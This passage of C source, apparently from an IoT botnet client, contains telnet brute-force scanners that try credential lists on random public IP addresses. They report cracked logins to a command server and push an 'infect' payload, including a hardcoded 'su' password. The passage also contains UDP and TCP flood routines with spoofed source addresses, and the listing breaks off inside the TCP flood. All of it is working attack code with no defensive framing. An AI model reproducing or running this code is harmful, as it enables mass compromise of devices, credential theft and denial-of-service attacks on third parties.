  2790. dest_addr.sin_port = htons(23);
  2791. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2792. dest_addr.sin_addr.s_addr = fds[i].ip;
  2793. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2794. if(fds[i].fd == -1) continue;
  2795. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2796. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  2797. sclose(fds[i].fd);
  2798. fds[i].complete = 1; }
  2799. else {
  2800. fds[i].state = 1;
  2801. fds[i].totalTimeout = 0;
  2802. }
  2803. }
  2804. break;
  2805. case 1:
  2806. {
  2807. FD_ZERO(&fdset);
  2808. FD_SET(fds[i].fd, &fdset);
  2809. tv.tv_sec = 0;
  2810. tv.tv_usec = wait_usec;
  2811. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  2812. if(res == 1) {
  2813. lon = sizeof(int);
  2814. valopt = 0;
  2815. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2816. if(valopt) {
  2817. sclose(fds[i].fd);
  2818. fds[i].state = 0;
  2819. fds[i].complete = 1;
  2820. } else {
  2821. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  2822. fds[i].totalTimeout = 0;
  2823. fds[i].bufUsed = 0;
  2824. memset(fds[i].sockbuf, 0, 1024);
  2825. fds[i].state = 2;
  2826. } continue; }
  2827. else if(res == -1) {
  2828. sclose(fds[i].fd);
  2829. fds[i].state = 0;
  2830. fds[i].complete = 1;
  2831. continue; }
  2832. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2833. sclose(fds[i].fd);
  2834. fds[i].state = 0;
  2835. fds[i].complete = 1;
  2836. }
  2837. }
  2838. break;
  2839. case 2:
  2840. {
  2841. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  2842. if(contains_fail(fds[i].sockbuf)) {
  2843. fds[i].state = 0;
  2844. } else {
  2845. fds[i].state = 3; }
  2846. continue; }
  2847. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2848. fds[i].state = 0;
  2849. fds[i].complete = 1;
  2850. }
  2851. }
  2852. break;
  2853. case 3: {
  2854. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  2855. fds[i].state = 0;
  2856. fds[i].complete = 1;
  2857. continue; }
  2858. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  2859. fds[i].state = 0;
  2860. fds[i].complete = 1;
  2861. continue; }
  2862. fds[i].state = 4; }
  2863. break;
  2864. case 4:
  2865. {
  2866. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  2867. {
  2868. if(contains_fail(fds[i].sockbuf)) {
  2869. fds[i].state = 0;
  2870. } else {
  2871. fds[i].state = 5; }
  2872. continue; }
  2873. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2874. fds[i].state = 0;
  2875. fds[i].complete = 1;
  2876. }
  2877. }
  2878. break;
  2879. case 5:
  2880. {
  2881. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  2882. fds[i].state = 0;
  2883. fds[i].complete = 1;
  2884. continue; }
  2885. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  2886. fds[i].state = 0;
  2887. fds[i].complete = 1;
  2888. continue; }
  2889. fds[i].state = 6;
  2890. }
  2891. break;
  2892. case 6:
  2893. {
  2894. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  2895. fds[i].totalTimeout = time(NULL);
  2896. if(contains_fail(fds[i].sockbuf)) {
  2897. fds[i].state = 0; }
  2898. else if(contains_success(fds[i].sockbuf)) {
  2899. if(fds[i].complete == 2) {
  2900. fds[i].state = 7; }
  2901. else {
  2902. sockprintf(mainCommSock, "\x1b[0;36mLogin found:\x1b[0;31m%s \x1b[37m| \x1b[0;35mUsername:\x1b[0;31m%s \x1b[37m| \x1b[0;35mPassword:\x1b[0;31m%s \x1b[37m| \x1b[0;35mVersion:\x1b[0;31m%s\x1b[37m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd], VERSION);
  2903. sockprintf(mainCommSock, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2904. fds[i].state = 7; }
  2905. } else {
  2906. fds[i].state = 0;
  2907. fds[i].complete = 1;
  2908. } continue; }
  2909. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2910. fds[i].state = 0;
  2911. fds[i].complete = 1;
  2912. }
  2913. }
  2914. break;
  2915. case 7:
  2916. {
  2917. fds[i].totalTimeout = time(NULL);
  2918. if(send(fds[i].fd, "sh", 4, MSG_NOSIGNAL) < 0);
  2919. if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0) {
  2920. sclose(fds[i].fd);
  2921. fds[i].state = 0;
  2922. fds[i].complete = 1;
  2923. continue; }
  2924. fds[i].complete = 3;
  2925. if(fds[i].totalTimeout + 60 < time(NULL)) {
  2926. if(fds[i].complete !=3){
  2927. }
  2928. fds[i].state = 0;
  2929. fds[i].complete = 1;
  2930. }
  2931. break;
  2932. }
  2933. }
  2934. }
  2935. }
  2936. }
  2937. void StartThePhonez(int wait_usec, int maxfds) {
  2938. int i, res, num_tmps, j;
  2939. char buf[128], cur_dir;
  2940.  
  2941. int max = maxfds;
  2942. fd_set fdset;
  2943. struct timeval tv;
  2944. socklen_t lon;
  2945. int valopt;
  2946.  
  2947. srand(time(NULL) ^ rand_cmwc());
  2948.  
  2949. char line[256];
  2950. char* buffer;
  2951. struct sockaddr_in dest_addr;
  2952. dest_addr.sin_family = AF_INET;
  2953. dest_addr.sin_port = htons(23);
  2954. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2955. buffer = malloc(BUFFER_SIZE + 1);
  2956. memset(buffer, 0, BUFFER_SIZE + 1);
  2957. struct telstate_t fds[max];
  2958. memset(fds, 0, max * (sizeof(int) + 1));
  2959. for(i = 0; i < max; i++) {
  2960. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  2961. fds[i].complete = 1;
  2962. fds[i].sockbuf = buffer; }
  2963. while(1) {
  2964. for(i = 0; i < max; i++) {
  2965. if(fds[i].totalTimeout == 0) {
  2966. fds[i].totalTimeout = time(NULL); }
  2967. switch(fds[i].state) {
  2968. case 0: {
  2969. if(fds[i].complete == 1) {
  2970. char *tmp = fds[i].sockbuf;
  2971. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  2972. fds[i].sockbuf = tmp;
  2973. fds[i].ip = GetRandomPublicIP(); }
  2974. else if(fds[i].complete == 0) {
  2975. fds[i].passwordInd++;
  2976. fds[i].usernameInd++;
  2977. if(fds[i].passwordInd == sizeof(ppasswords) / sizeof(char *)) {
  2978. fds[i].complete = 1;
  2979. continue; }
  2980. if(fds[i].usernameInd == sizeof(pusernames) / sizeof(char *)) {
  2981. fds[i].complete = 1;
  2982. continue;
  2983. }
  2984. }
  2985. dest_addr.sin_family = AF_INET;
  2986. dest_addr.sin_port = htons(23);
  2987. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2988. dest_addr.sin_addr.s_addr = fds[i].ip;
  2989. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2990. if(fds[i].fd == -1) continue;
  2991. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2992. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  2993. sclose(fds[i].fd);
  2994. fds[i].complete = 1; }
  2995. else {
  2996. fds[i].state = 1;
  2997. fds[i].totalTimeout = 0;
  2998. }
  2999. }
  3000. break;
  3001. case 1:
  3002. {
  3003. FD_ZERO(&fdset);
  3004. FD_SET(fds[i].fd, &fdset);
  3005. tv.tv_sec = 0;
  3006. tv.tv_usec = wait_usec;
  3007. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  3008. if(res == 1) {
  3009. lon = sizeof(int);
  3010. valopt = 0;
  3011. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  3012. if(valopt) {
  3013. sclose(fds[i].fd);
  3014. fds[i].state = 0;
  3015. fds[i].complete = 1;
  3016. } else {
  3017. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  3018. fds[i].totalTimeout = 0;
  3019. fds[i].bufUsed = 0;
  3020. memset(fds[i].sockbuf, 0, 1024);
  3021. fds[i].state = 2;
  3022. } continue; }
  3023. else if(res == -1) {
  3024. sclose(fds[i].fd);
  3025. fds[i].state = 0;
  3026. fds[i].complete = 1;
  3027. continue; }
  3028. if(fds[i].totalTimeout + 6 < time(NULL)) {
  3029. sclose(fds[i].fd);
  3030. fds[i].state = 0;
  3031. fds[i].complete = 1;
  3032. }
  3033. }
  3034. break;
  3035. case 2:
  3036. {
  3037. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  3038. if(contains_fail(fds[i].sockbuf)) {
  3039. fds[i].state = 0;
  3040. } else {
  3041. fds[i].state = 3; }
  3042. continue; }
  3043. if(fds[i].totalTimeout + 6 < time(NULL)) {
  3044. fds[i].state = 0;
  3045. fds[i].complete = 1;
  3046. }
  3047. }
  3048. break;
  3049. case 3: {
  3050. if(send(fds[i].fd, pusernames[fds[i].usernameInd], strlen(pusernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  3051. fds[i].state = 0;
  3052. fds[i].complete = 1;
  3053. continue; }
  3054. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  3055. fds[i].state = 0;
  3056. fds[i].complete = 1;
  3057. continue; }
  3058. fds[i].state = 4; }
  3059. break;
  3060. case 4:
  3061. {
  3062. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  3063. {
  3064. if(contains_fail(fds[i].sockbuf)) {
  3065. fds[i].state = 0;
  3066. } else {
  3067. fds[i].state = 5; }
  3068. continue; }
  3069. if(fds[i].totalTimeout + 6 < time(NULL)) {
  3070. fds[i].state = 0;
  3071. fds[i].complete = 1;
  3072. }
  3073. }
  3074. break;
  3075. case 5:
  3076. {
  3077. if(send(fds[i].fd, ppasswords[fds[i].passwordInd], strlen(ppasswords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  3078. fds[i].state = 0;
  3079. fds[i].complete = 1;
  3080. continue; }
  3081. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  3082. fds[i].state = 0;
  3083. fds[i].complete = 1;
  3084. continue; }
  3085. fds[i].state = 6;
  3086. }
  3087. break;
  3088. case 6:
  3089. {
  3090. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  3091. fds[i].totalTimeout = time(NULL);
  3092. if(contains_fail(fds[i].sockbuf)) {
  3093. fds[i].state = 0; }
  3094. else if(contains_success(fds[i].sockbuf)) {
  3095. if(fds[i].complete == 2) {
  3096. fds[i].state = 7; }
  3097. else {
  3098. sockprintf(mainCommSock, "\x1b[0;36mPhone Login crack:\x1b[0;31m%s | \x1b[0;35mUsername:\x1b[0;31m%s | \x1b[0;35mPassword:\x1b[0;31m%s\x1b[37m", get_telstate_host(&fds[i]), pusernames[fds[i].usernameInd], ppasswords[fds[i].passwordInd]);
  3099. sockprintf(mainCommSock, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), pusernames[fds[i].usernameInd], ppasswords[fds[i].passwordInd]);
  3100. fds[i].state = 7; }
  3101. } else {
  3102. fds[i].state = 0;
  3103. fds[i].complete = 1;
  3104. } continue; }
  3105. if(fds[i].totalTimeout + 6 < time(NULL)) {
  3106. fds[i].state = 0;
  3107. fds[i].complete = 1;
  3108. }
  3109. }
  3110. break;
  3111. case 7:
  3112. {
  3113. fds[i].totalTimeout = time(NULL);
  3114. if(send(fds[i].fd, "sh", 4, MSG_NOSIGNAL) < 0);
  3115. if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0) {
  3116. sclose(fds[i].fd);
  3117. fds[i].state = 0;
  3118. fds[i].complete = 1;
  3119. continue; }
  3120. if(send(fds[i].fd, "su", 4, MSG_NOSIGNAL) < 0);
  3121. if(fds[i].totalTimeout + 5 < time(NULL)) {if(send(fds[i].fd, "oelinux123\n", 4, MSG_NOSIGNAL) < 0);continue;}
  3122. if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0) {
  3123. sclose(fds[i].fd);
  3124. fds[i].state = 0;
  3125. fds[i].complete = 1;
  3126. continue; }
  3127. fds[i].complete = 3;
  3128. if(fds[i].totalTimeout + 60 < time(NULL)) {
  3129. if(fds[i].complete !=3){
  3130. }
  3131. fds[i].state = 0;
  3132. fds[i].complete = 1;
  3133. }
  3134. break;
  3135. }
  3136. }
  3137. }
  3138. }
  3139. }
  3140. void sendSTD(unsigned char *ip, int port, int secs) {
  3141.  
  3142. int iSTD_Sock;
  3143.  
  3144. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  3145.  
  3146. time_t start = time(NULL);
  3147.  
  3148. struct sockaddr_in sin;
  3149.  
  3150. struct hostent *hp;
  3151.  
  3152. hp = gethostbyname(ip);
  3153.  
  3154. bzero((char*) &sin,sizeof(sin));
  3155. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  3156. sin.sin_family = hp->h_addrtype;
  3157. sin.sin_port = port;
  3158.  
  3159. unsigned int a = 0;
  3160.  
  3161. while(1){
  3162. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "lsk", "kek", "smack", "ily", "tyf", "pos", "cunts"};
  3163. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  3164. if (a >= 50)
  3165. {
  3166. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  3167. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  3168. if (time(NULL) >= start + secs)
  3169. {
  3170. close(iSTD_Sock);
  3171. _exit(0);
  3172. }
  3173. a = 0;
  3174. }
  3175. a++;
  3176. }
  3177. }
  3178. void StartThePhone(int wait_usec, int maxfds) {
  3179. int i, res, num_tmps, j;
  3180. char buf[128], cur_dir;
  3181.  
  3182. int max = maxfds;
  3183. fd_set fdset;
  3184. struct timeval tv;
  3185. socklen_t lon;
  3186. int valopt;
  3187.  
  3188. srand(time(NULL) ^ rand_cmwc());
  3189.  
  3190. char line[256];
  3191. char* buffer;
  3192. struct sockaddr_in dest_addr;
  3193. dest_addr.sin_family = AF_INET;
  3194. dest_addr.sin_port = htons(23);
  3195. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3196. buffer = malloc(BUFFER_SIZE + 1);
  3197. memset(buffer, 0, BUFFER_SIZE + 1);
  3198. struct telstate_t fds[max];
  3199. memset(fds, 0, max * (sizeof(int) + 1));
  3200. for(i = 0; i < max; i++) {
  3201. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3202. fds[i].complete = 1;
  3203. fds[i].sockbuf = buffer; }
  3204. while(1) {
  3205. for(i = 0; i < max; i++) {
  3206. if(fds[i].totalTimeout == 0) {
  3207. fds[i].totalTimeout = time(NULL); }
  3208. switch(fds[i].state) {
  3209. case 0: {
  3210. if(fds[i].complete == 1) {
  3211. char *tmp = fds[i].sockbuf;
  3212. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3213. fds[i].sockbuf = tmp;
  3214. fds[i].ip = GetRandomPublicPhone(); }
  3215. else if(fds[i].complete == 0) {
  3216. fds[i].passwordInd++;
  3217. fds[i].usernameInd++;
  3218. if(fds[i].passwordInd == sizeof(ppasswords) / sizeof(char *)) {
  3219. fds[i].complete = 1;
  3220. continue; }
  3221. if(fds[i].usernameInd == sizeof(pusernames) / sizeof(char *)) {
  3222. fds[i].complete = 1;
  3223. continue;
  3224. }
  3225. }
  3226. dest_addr.sin_family = AF_INET;
  3227. dest_addr.sin_port = htons(23);
  3228. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3229. dest_addr.sin_addr.s_addr = fds[i].ip;
  3230. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  3231. if(fds[i].fd == -1) continue;
  3232. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  3233. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  3234. sclose(fds[i].fd);
  3235. fds[i].complete = 1; }
  3236. else {
  3237. fds[i].state = 1;
  3238. fds[i].totalTimeout = 0;
  3239. }
  3240. }
  3241. break;
  3242. case 1:
  3243. {
  3244. FD_ZERO(&fdset);
  3245. FD_SET(fds[i].fd, &fdset);
  3246. tv.tv_sec = 0;
  3247. tv.tv_usec = wait_usec;
  3248. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  3249. if(res == 1) {
  3250. lon = sizeof(int);
  3251. valopt = 0;
  3252. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  3253. if(valopt) {
  3254. sclose(fds[i].fd);
  3255. fds[i].state = 0;
  3256. fds[i].complete = 1;
  3257. } else {
  3258. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  3259. fds[i].totalTimeout = 0;
  3260. fds[i].bufUsed = 0;
  3261. memset(fds[i].sockbuf, 0, 1024);
  3262. fds[i].state = 2;
  3263. } continue; }
  3264. else if(res == -1) {
  3265. sclose(fds[i].fd);
  3266. fds[i].state = 0;
  3267. fds[i].complete = 1;
  3268. continue; }
  3269. if(fds[i].totalTimeout + 6 < time(NULL)) {
  3270. sclose(fds[i].fd);
  3271. fds[i].state = 0;
  3272. fds[i].complete = 1;
  3273. }
  3274. }
  3275. break;
  3276. case 2:
  3277. {
  3278. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  3279. if(contains_fail(fds[i].sockbuf)) {
  3280. fds[i].state = 0;
  3281. } else {
  3282. fds[i].state = 3; }
  3283. continue; }
  3284. if(fds[i].totalTimeout + 6 < time(NULL)) {
  3285. fds[i].state = 0;
  3286. fds[i].complete = 1;
  3287. }
  3288. }
  3289. break;
  3290. case 3: {
  3291. if(send(fds[i].fd, pusernames[fds[i].usernameInd], strlen(pusernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  3292. fds[i].state = 0;
  3293. fds[i].complete = 1;
  3294. continue; }
  3295. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  3296. fds[i].state = 0;
  3297. fds[i].complete = 1;
  3298. continue; }
  3299. fds[i].state = 4; }
  3300. break;
  3301. case 4:
  3302. {
  3303. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  3304. {
  3305. if(contains_fail(fds[i].sockbuf)) {
  3306. fds[i].state = 0;
  3307. } else {
  3308. fds[i].state = 5; }
  3309. continue; }
  3310. if(fds[i].totalTimeout + 6 < time(NULL)) {
  3311. fds[i].state = 0;
  3312. fds[i].complete = 1;
  3313. }
  3314. }
  3315. break;
  3316. case 5:
  3317. {
  3318. if(send(fds[i].fd, ppasswords[fds[i].passwordInd], strlen(ppasswords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  3319. fds[i].state = 0;
  3320. fds[i].complete = 1;
  3321. continue; }
  3322. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  3323. fds[i].state = 0;
  3324. fds[i].complete = 1;
  3325. continue; }
  3326. fds[i].state = 6;
  3327. }
  3328. break;
  3329. case 6:
  3330. {
  3331. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  3332. fds[i].totalTimeout = time(NULL);
  3333. if(contains_fail(fds[i].sockbuf)) {
  3334. fds[i].state = 0; }
  3335. else if(contains_success(fds[i].sockbuf)) {
  3336. if(fds[i].complete == 2) {
  3337. fds[i].state = 7; }
  3338. else {
  3339. sockprintf(mainCommSock, "\x1b[0;36mPhone Login crack:\x1b[0;31m%s | \x1b[0;35mUsername:\x1b[0;31m%s | \x1b[0;35mPassword:\x1b[0;31m%s\x1b[37m", get_telstate_host(&fds[i]), pusernames[fds[i].usernameInd], ppasswords[fds[i].passwordInd]);
  3340. sockprintf(mainCommSock, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), pusernames[fds[i].usernameInd], ppasswords[fds[i].passwordInd]);
  3341. fds[i].state = 7; }
  3342. } else {
  3343. fds[i].state = 0;
  3344. fds[i].complete = 1;
  3345. } continue; }
  3346. if(fds[i].totalTimeout + 6 < time(NULL)) {
  3347. fds[i].state = 0;
  3348. fds[i].complete = 1;
  3349. }
  3350. }
  3351. break;
  3352. case 7:
  3353. {
  3354. fds[i].totalTimeout = time(NULL);
  3355. if(send(fds[i].fd, "sh", 4, MSG_NOSIGNAL) < 0);
  3356. if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0) {
  3357. sclose(fds[i].fd);
  3358. fds[i].state = 0;
  3359. fds[i].complete = 1;
  3360. continue; }
  3361. if(send(fds[i].fd, "su", 4, MSG_NOSIGNAL) < 0);
  3362. if(fds[i].totalTimeout + 5 < time(NULL)) {if(send(fds[i].fd, "oelinux123\n", 4, MSG_NOSIGNAL) < 0);continue;}
  3363. if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0) {
  3364. sclose(fds[i].fd);
  3365. fds[i].state = 0;
  3366. fds[i].complete = 1;
  3367. continue; }
  3368. fds[i].complete = 3;
  3369. if(fds[i].totalTimeout + 60 < time(NULL)) {
  3370. if(fds[i].complete !=3){
  3371. }
  3372. fds[i].state = 0;
  3373. fds[i].complete = 1;
  3374. }
  3375. break;
  3376. }
  3377. }
  3378. }
  3379. }
  3380. }
  3381. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)
  3382. {
  3383. struct sockaddr_in dest_addr;
  3384.  
  3385. dest_addr.sin_family = AF_INET;
  3386. if(port == 0) dest_addr.sin_port = rand_cmwc();
  3387. else dest_addr.sin_port = htons(port);
  3388. if(getHost(target, &dest_addr.sin_addr)) return;
  3389. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3390.  
  3391. register unsigned int pollRegister;
  3392. pollRegister = pollinterval;
  3393.  
  3394. if(spoofit == 32)
  3395. {
  3396. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  3397. if(!sockfd)
  3398. {
  3399. sockprintf(mainCommSock, "Failed opening raw socket.");
  3400. return;
  3401. }
  3402.  
  3403. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  3404. if(buf == NULL) return;
  3405. memset(buf, 0, packetsize + 1);
  3406. makeRandomStr(buf, packetsize);
  3407.  
  3408. int end = time(NULL) + timeEnd;
  3409. register unsigned int i = 0;
  3410. register unsigned int ii = 0;
  3411. while(1)
  3412. {
  3413. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  3414.  
  3415. if(i == pollRegister)
  3416. {
  3417. if(port == 0) dest_addr.sin_port = rand_cmwc();
  3418. if(time(NULL) > end) break;
  3419. i = 0;
  3420. continue;
  3421. }
  3422. i++;
  3423. if(ii == sleepcheck)
  3424. {
  3425. usleep(sleeptime*1000);
  3426. ii = 0;
  3427. continue;
  3428. }
  3429. ii++;
  3430. }
  3431. } else {
  3432. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  3433. if(!sockfd)
  3434. {
  3435. sockprintf(mainCommSock, "Failed opening raw socket.");
  3436. return;
  3437. }
  3438.  
  3439. int tmp = 1;
  3440. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  3441. {
  3442. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  3443. return;
  3444. }
  3445.  
  3446. int counter = 50;
  3447. while(counter--)
  3448. {
  3449. srand(time(NULL) ^ rand_cmwc());
  3450. init_rand(rand());
  3451. }
  3452.  
  3453. in_addr_t netmask;
  3454.  
  3455. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  3456. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  3457.  
  3458. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  3459. struct iphdr *iph = (struct iphdr *)packet;
  3460. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  3461.  
  3462. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  3463.  
  3464. udph->len = htons(sizeof(struct udphdr) + packetsize);
  3465. udph->source = rand_cmwc();
  3466. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  3467. udph->check = 0;
  3468.  
  3469. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  3470.  
  3471. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  3472.  
  3473. int end = time(NULL) + timeEnd;
  3474. register unsigned int i = 0;
  3475. register unsigned int ii = 0;
  3476. while(1)
  3477. {
  3478. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  3479.  
  3480. udph->source = rand_cmwc();
  3481. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  3482. iph->id = rand_cmwc();
  3483. iph->saddr = htonl( GetRandomIP(netmask) );
  3484. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  3485.  
  3486. if(i == pollRegister)
  3487. {
  3488. if(time(NULL) > end) break;
  3489. i = 0;
  3490. continue;
  3491. }
  3492. i++;
  3493.  
  3494. if(ii == sleepcheck)
  3495. {
  3496. usleep(sleeptime*1000);
  3497. ii = 0;
  3498. continue;
  3499. }
  3500. ii++;
  3501. }
  3502. }
  3503. }
  3504.  
  3505. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  3506. {
  3507. register unsigned int pollRegister;
  3508. pollRegister = pollinterval;
  3509.  
  3510. struct sockaddr_in dest_addr;
  3511.  
  3512. dest_addr.sin_family = AF_INET;
  3513. if(port == 0) dest_addr.sin_port = rand_cmwc();
  3514. else dest_addr.sin_port = htons(port);
  3515. if(getHost(target, &dest_addr.sin_addr)) return;
  3516. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3517.  
  3518. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  3519. if(!sockfd)
  3520. {
  3521. sockprintf(mainCommSock, "Failed opening raw socket.");
  3522. return;
  3523. }
  3524.  
  3525. int tmp = 1;
  3526. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  3527. {
  3528. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  3529. return;
  3530. }
  3531.  
  3532. in_addr_t netmask;
  3533.  
  3534. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  3535. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  3536.  
  3537. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  3538. struct iphdr *iph = (struct iphdr *)packet;
  3539. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  3540.  
  3541. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  3542.  
  3543. tcph->source = rand_cmwc();
  3544. tcph->seq = rand_cmwc();
  3545. tcph->ack_seq = 0;
  3546. tcph->doff = 5;
  3547.  
  3548. if(!strcmp(flags, "all"))
  3549. {
  3550. tcph->syn = 1;
  3551. tcph->rst = 1;
  3552. tcph->fin = 1;
  3553. tcph->ack = 1;
  3554. tcph->psh = 1;
  3555. } else {
  3556. unsigned char *pch = strtok(flags, ",");
  3557. while(pch)
  3558. {
  3559. if(!strcmp(pch, "syn"))
  3560. {
  3561. tcph->syn = 1;
  3562. } else if(!strcmp(pch, "rst"))
  3563. {
  3564. tcph->rst = 1;
  3565. } else if(!strcmp(pch, "fin"))
  3566. {
  3567. tcph->fin = 1;
  3568. } else if(!strcmp(pch, "ack"))
  3569. {
  3570. tcph->ack = 1;
  3571. } else if(!strcmp(pch, "psh"))
  3572. {
  3573. tcph->psh = 1;
  3574. } else {
